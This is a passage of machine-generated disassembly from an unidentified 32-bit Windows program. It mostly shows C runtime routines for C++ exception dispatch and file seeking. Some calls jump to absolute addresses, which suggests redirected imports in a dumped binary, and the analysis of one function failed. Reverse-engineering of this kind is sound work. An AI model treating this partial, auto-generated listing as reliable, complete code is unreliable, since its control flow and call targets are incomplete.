		cmp	[ebp+arg_14], 0
		jz	short loc_4227C8
		push	1
		push	esi
		call	sub_422D26
		pop	ecx
		pop	ecx


loc_4227C8:				; CODE XREF: sub_422651+56j
					; sub_422651+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4227CD:				; CODE XREF: sub_422651+37j
					; sub_422651+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_4227F3
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4227F8
		add	esp, 20h
		jmp	short loc_4227C8
; ---------------------------------------------------------------------------


loc_4227F3:				; CODE XREF: sub_422651+180j
		jmp	sub_422DFC
sub_422651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227F8	proc near		; CODE XREF: sub_422651+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DBE70, 0
		push	esi
		push	edi
		jz	short loc_422829
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D3AA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42289C


loc_422829:				; CODE XREF: sub_4227F8+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	esi, eax


loc_422845:				; CODE XREF: sub_4227F8+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_42289C
		cmp	edi, [esi]
		jl	short loc_422894
		cmp	edi, [esi+4]
		jg	short loc_422894
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_42286E
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_422894


loc_42286E:				; CODE XREF: sub_4227F8+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_422894:				; CODE XREF: sub_4227F8+57j
					; sub_4227F8+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_422845
; ---------------------------------------------------------------------------


loc_42289C:				; CODE XREF: sub_4227F8+2Fj
					; sub_4227F8+53j
		pop	edi
		pop	esi
		leave
		retn
sub_4227F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_422651+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_4228F7
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_4228F7
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4228D1
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4228F3


loc_4228D1:				; CODE XREF: sub_4228A0+1Fj
		test	byte ptr [esi],	2
		jz	short loc_4228DB
		test	byte ptr [edi],	8
		jz	short loc_4228F3


loc_4228DB:				; CODE XREF: sub_4228A0+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4228EA
		test	byte ptr [edi],	1
		jz	short loc_4228F3


loc_4228EA:				; CODE XREF: sub_4228A0+43j
		test	al, 2
		jz	short loc_4228F7
		test	byte ptr [edi],	2
		jnz	short loc_4228F7


loc_4228F3:				; CODE XREF: sub_4228A0+2Fj
					; sub_4228A0+39j ...
		xor	eax, eax
		jmp	short loc_4228FA
; ---------------------------------------------------------------------------


loc_4228F7:				; CODE XREF: sub_4228A0+Bj
					; sub_4228A0+14j ...
		push	1
		pop	eax


loc_4228FA:				; CODE XREF: sub_4228A0+55j
		pop	edi
		pop	esi
		retn
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4228FD	proc near		; CODE XREF: sub_4225B6+34p
					; ___:004229F3p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278A8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42292F:				; CODE XREF: sub_4228FD+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_422989
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42293E
		cmp	esi, [edi+4]
		jl	short loc_422943


loc_42293E:				; CODE XREF: sub_4228FD+3Aj
		call	sub_422E52


loc_422943:				; CODE XREF: sub_4228FD+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_42295E
		push	103h
		push	ebx
		push	eax
		call	sub_422DB0


loc_42295E:				; CODE XREF: sub_4228FD+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42297E
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_42299B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_42297E:				; CODE XREF: sub_4228FD+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42292F
; ---------------------------------------------------------------------------


loc_422989:				; CODE XREF: sub_4228FD+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4228FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42299B	proc near		; CODE XREF: sub_4228FD+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4229AC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4229AC:				; CODE XREF: sub_42299B+Cj
		jmp	sub_422DFC
sub_42299B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229B1	proc near		; CODE XREF: sub_422651+151p
					; sub_4227F8+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_4229D3
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_422B62
		add	esp, 10h


loc_4229D3:				; CODE XREF: sub_4229B1+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_4229DF
		push	edi
		jmp	short loc_4229E2
; ---------------------------------------------------------------------------


loc_4229DF:				; CODE XREF: sub_4229B1+29j
		push	[ebp+arg_24]


loc_4229E2:				; CODE XREF: sub_4229B1+2Cj
		call	sub_41D2AC
sub_4229B1	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_4228FD
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_422A2C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422A27
		push	edi
		push	eax
		call	sub_41D26A


loc_422A27:				; CODE XREF: ___:00422A1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422A2C	proc near		; CODE XREF: ___:00422A14p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278B8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DBE68
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DBE6C
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DBE68, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DBE6C, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41D331
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422AF2
		mov	eax, [ebp+var_2C]


loc_422AB9:				; CODE XREF: sub_422AD2+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422A2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AC8	proc near		; DATA XREF: ___:004278C8o
		push	dword ptr [ebp-14h]
		call	sub_422B38
		pop	ecx
		retn
sub_422AC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; DATA XREF: ___:004278CCo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D592
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422AB9
sub_422AD2	endp

; ---------------------------------------------------------------------------


loc_422AEA:				; DATA XREF: ___:004278C0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422AF2	proc near		; CODE XREF: sub_422A2C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DBE68, eax
		mov	eax, [ebp-20h]
		mov	dword_4DBE6C, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422B37
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422B37
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422B37
		cmp	[ebp-24h], ebx
		jnz	short locret_422B37
		cmp	[ebp-2Ch], ebx
		jz	short locret_422B37
		call	sub_41D5FA
		push	eax
		push	edi
		call	sub_422D26
		pop	ecx
		pop	ecx

locret_422B37:				; CODE XREF: sub_422AF2+1Cj
					; sub_422AF2+22j ...
		retn
sub_422AF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B38	proc near		; CODE XREF: sub_422AC8+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_422B5F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_422B5F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422B5F:				; CODE XREF: sub_422B38+Cj
					; sub_422B38+12j ...
		xor	eax, eax
		retn
sub_422B38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422B62	proc near		; CODE XREF: sub_4229B1+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_422D0B
		cmp	byte ptr [eax+8], 0
		jz	loc_422D0B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_422D0B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_422BFF
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422BF0:				; CODE XREF: sub_422B62+F5j
		push	eax
		call	sub_422D8D
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422D07
; ---------------------------------------------------------------------------


loc_422BFF:				; CODE XREF: sub_422B62+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_422C59
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422D07
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422D07
		add	esi, 8
		push	esi
		jmp	short loc_422BF0
; ---------------------------------------------------------------------------


loc_422C59:				; CODE XREF: sub_422B62+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422CA1
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CA1:				; CODE XREF: sub_422B62+103j
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+18h]
		call	sub_424FB8
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		test	byte ptr [esi],	4
		jz	short loc_422CE8
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D2A5
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CE8:				; CODE XREF: sub_422B62+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D29E
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422D02:				; CODE XREF: sub_422B62+6Aj
					; sub_422B62+7Cj ...
		call	sub_422E52


loc_422D07:				; CODE XREF: sub_422B62+98j
					; sub_422B62+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D0B:				; CODE XREF: sub_422B62+2Ej
					; sub_422B62+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422B62	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D26	proc near		; CODE XREF: sub_422651+170p
					; sub_422AF2+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422D6D
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422D6D
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41D29E
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D6D:				; CODE XREF: sub_422D26+2Aj
					; sub_422D26+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422D26	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_422D8D	proc near		; CODE XREF: sub_422B62+8Fp
					; sub_422B62+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422DAE
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_422DAE:				; CODE XREF: sub_422D8D+12j
		pop	esi
		retn
sub_422D8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DB0	proc near		; CODE XREF: sub_41D331+40p
					; sub_4228FD+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D61D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_422DEF
		mov	ecx, 2


loc_422DEF:				; CODE XREF: sub_422DB0+38j
		push	ecx
		call	sub_41D61D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DFC	proc near		; CODE XREF: sub_422651:loc_4227F3j
					; sub_42299B:loc_4229ACj ...

var_28		= dword	ptr -28h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBE74
		test	eax, eax
		jz	short loc_422E44
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_422E40
; ---------------------------------------------------------------------------


loc_422E39:				; DATA XREF: ___:00427900o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E3D:				; DATA XREF: ___:00427904o
		mov	esp, [ebp+var_18]


loc_422E40:				; CODE XREF: sub_422DFC+3Bj
		and	[ebp+var_4], 0


loc_422E44:				; CODE XREF: sub_422DFC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422E4D:				; DATA XREF: ___:004278F8o
		jmp	loc_424FD0
sub_422DFC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E52	proc near		; CODE XREF: sub_41D4D3+23p
					; sub_41D4D3:loc_41D53Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43D444
		test	eax, eax
		jz	short loc_422E9A
		mov	[ebp+var_4], 1
		call	eax ; sub_422DFC
		jmp	short loc_422E96
; ---------------------------------------------------------------------------


loc_422E8F:				; DATA XREF: ___:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E93:				; DATA XREF: ___:0042791Co
		mov	esp, [ebp+var_18]


loc_422E96:				; CODE XREF: sub_422E52+3Bj
		and	[ebp+var_4], 0


loc_422E9A:				; CODE XREF: sub_422E52+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422EA3:				; DATA XREF: ___:00427910o
		jmp	sub_422DFC
sub_422E52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EA8	proc near		; CODE XREF: sub_41D9B3+7p
					; sub_41D9B3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DD388
		push	esi
		cmp	eax, 3
		jnz	short loc_422ED1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41E717
		test	eax, eax
		pop	ecx
		jz	short loc_422ECE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422ECE:				; CODE XREF: sub_422EA8+1Cj
		push	esi
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------


loc_422ED1:				; CODE XREF: sub_422EA8+Ej
		cmp	eax, 2
		jnz	short loc_422EF5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422EF5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422EF5:				; CODE XREF: sub_422EA8+2Cj
					; sub_422EA8+43j
		push	[ebp+arg_0]


loc_422EF8:				; CODE XREF: sub_422EA8+27j
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2660000h


loc_422F06:				; CODE XREF: sub_422EA8+24j
					; sub_422EA8+4Bj
		pop	esi
		leave
		retn
sub_422EA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F09	proc near		; CODE XREF: ___:0041DAF2p
					; sub_41F9BC+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DD140
		push	esi
		push	edi
		jnb	short loc_422F8B
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_422F8B
		push	eax
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422F4D
		mov	dword_4DBDDC, 9
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F4D:				; CODE XREF: sub_422F09+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 27A0000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422F6D
		nop
		call	near ptr 26A0E98h
		jmp	short loc_422F6F
; ---------------------------------------------------------------------------


loc_422F6D:				; CODE XREF: sub_422F09+5Aj
		xor	eax, eax


loc_422F6F:				; CODE XREF: sub_422F09+62j
		test	eax, eax
		jz	short loc_422F7C
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F7C:				; CODE XREF: sub_422F09+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_422F9F
; ---------------------------------------------------------------------------


loc_422F8B:				; CODE XREF: sub_422F09+Dj
					; sub_422F09+2Aj
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_422F9C:				; CODE XREF: sub_422F09+42j
					; sub_422F09+71j
		or	eax, 0FFFFFFFFh


loc_422F9F:				; CODE XREF: sub_422F09+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_422F09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FA3	proc near		; CODE XREF: ___:0041DAB5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_422FBF
		mov	[edi+4], ebx


loc_422FBF:				; CODE XREF: sub_422FA3+17j
		push	1
		push	ebx
		push	esi
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42302D
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422FE4
		sub	eax, [edi+4]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_422FE4:				; CODE XREF: sub_422FA3+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_42301E
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DD040[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_423035
		mov	edx, ecx


loc_42300F:				; CODE XREF: sub_422FA3+79j
		cmp	edx, eax
		jnb	short loc_423035
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42301B
		inc	[ebp+var_8]


loc_42301B:				; CODE XREF: sub_422FA3+73j
		inc	edx
		jmp	short loc_42300F
; ---------------------------------------------------------------------------


loc_42301E:				; CODE XREF: sub_422FA3+50j
		test	dl, 80h
		jnz	short loc_423035
		mov	dword_4DBDDC, 16h


loc_42302D:				; CODE XREF: sub_422FA3+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423035:				; CODE XREF: sub_422FA3+68j
					; sub_422FA3+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_423043
		mov	eax, [ebp+var_8]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423043:				; CODE XREF: sub_422FA3+96j
